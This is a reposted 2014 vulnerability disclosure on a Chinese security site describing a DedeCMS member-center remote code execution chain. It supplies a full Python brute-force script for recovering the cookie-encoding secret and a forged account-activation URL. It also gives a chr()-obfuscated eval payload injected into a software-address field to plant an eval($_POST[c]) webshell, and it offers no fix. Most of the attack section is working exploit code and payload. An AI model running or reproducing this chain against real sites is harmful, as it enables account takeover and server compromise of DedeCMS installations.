首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Dedecms某命令执行漏洞
来源:http://wooyun.org 作者:kobin97 发布时间:2014-05-27  

简要描述:

这个命令执行漏洞也存在有一段时间了,需要会员中心,所以有点鸡肋。。
在以前的版本还需要后台一些配置才行。
但发现最新版本,默认安装,开了会员中心就能利用了(不管邮件验证哦!)。

详细说明:

首先,会员中心开放,注册一个号。

默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。



#先说说这个激活吧:

我们看看激活函数 index_do.php

$mid = intval($mid);

    if(empty($mid))

    {

        ShowMsg('你的效验串不合法!', '-1');

        exit();

    }

    $row = $dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='{$mid}' ");

    $needUserhash = md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);

    if($needUserhash != $userhash)

    {

        ShowMsg('你的效验串不合法!', '-1');

        exit();

    }

 

注意到:md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);

mid email 已知。就是差 $cfg_cookie_encode 没法知道。

搜索 $cfg_cookie_encode 的使用

发现:

cookie.helper.php 中

function GetCookie($key)

    {

        global $cfg_cookie_encode;

        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )

        {

            return '';

        }

        else

        {

            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))

            {

                return '';

            }

            else

            {

                return $_COOKIE[$key];

            }

        }

    }

查看 cookie ,不难发现:
 



即:

substr(md5($cfg_cookie_encode."8"),0,16) == "b07a81b5365b0449"



我们再看看 $cfg_cookie_encode 是怎样生成的

$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));



即:

A-Z a-z A-Z A-Z a-z 1000-9999 A-Z

就这几位,很有规律。

我简单写一个爆破程序

#! /usr/bin/env python
#-*- coding: utf-8 -*-
from hashlib import md5

import sys

import string



def getmd5(str):

    m = md5()

    m.update(str) 
return m.hexdigest()



if __name__ == "__main__":

   if len(sys.argv) == 3:

      value=str(sys.argv[1])

      ckMd5=str(sys.argv[2])

      lowercase =  string.lowercase

      uppercase = string.uppercase

      for a1 in uppercase:

          for a2 in lowercase:

              for a3 in uppercase:

                  for a4 in uppercase:

                      for a5 in lowercase:

                          for a6 in range(1000,10000):

                              for a7 in uppercase:

                                  print (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)

                                  result = getmd5(a1 + a2 + a3 + a4 + a5 + str(a6) + a7 + value)[:16];

                                  if result == ckMd5:

                                      print '----------------------------'

                                      print 'ck:' + (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)

                                      sys.exit(0)

      sys.exit(0)

   else:

       print ("usage: %s value ckMd5" % sys.argv[0])

       sys.exit(-1)

离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查

A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id



或者其它md5爆破工具也行
 


结果出来后:

OeQDg2992Z--8--aaaaaa@21cn.com

943ea8a69319e9dd17bc3b8245631300



http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300



会员激活成功了。。。可以进入下一步操作。



转到内容 -> 上传软件 ,这里可以添加内容(旧版默认是没有隶属栏目的,所以不能利用,最新版带有了。)



#命令执行:

添加上传软件

本地地址 http://www.hao123.com

其它乱填就行,添加成功后,再次进入修改界面



软件地址改为:



http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}



其实利用的是对软件地址的解释漏洞

可以打开 data\tplcache 目录,找到相关解释后的文件

 


可以从上图看到,数组的键被闭合上了。

再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。



(ps:5.6版,插入的代码可能有所不同,请自行测试)

漏洞证明:

 

修复方案:

我也不懂了,很久的漏洞。

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·从迅雷帐号到个人电脑的入侵-一
·SuperMicro IPMI 49152端口 密码
·Discuz3.2后台文件包含漏洞可后
·Struts2 S2-020在Tomcat 8下的命
·最新WinRAR扩展名欺骗0day解剖
·STRUTS2框架的getClassLoader漏
·电子商务系统ShopNC多个漏洞(可
·CVE: 2014-6271 Bash Specially-
·Bash Shellshock事件:CVE-2014-6
·DedeCMS全版本通杀SQL注入漏洞利
·Discuz的利用UC_KEY进行getshell
·Struts2最近几个漏洞分析&稳定利
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved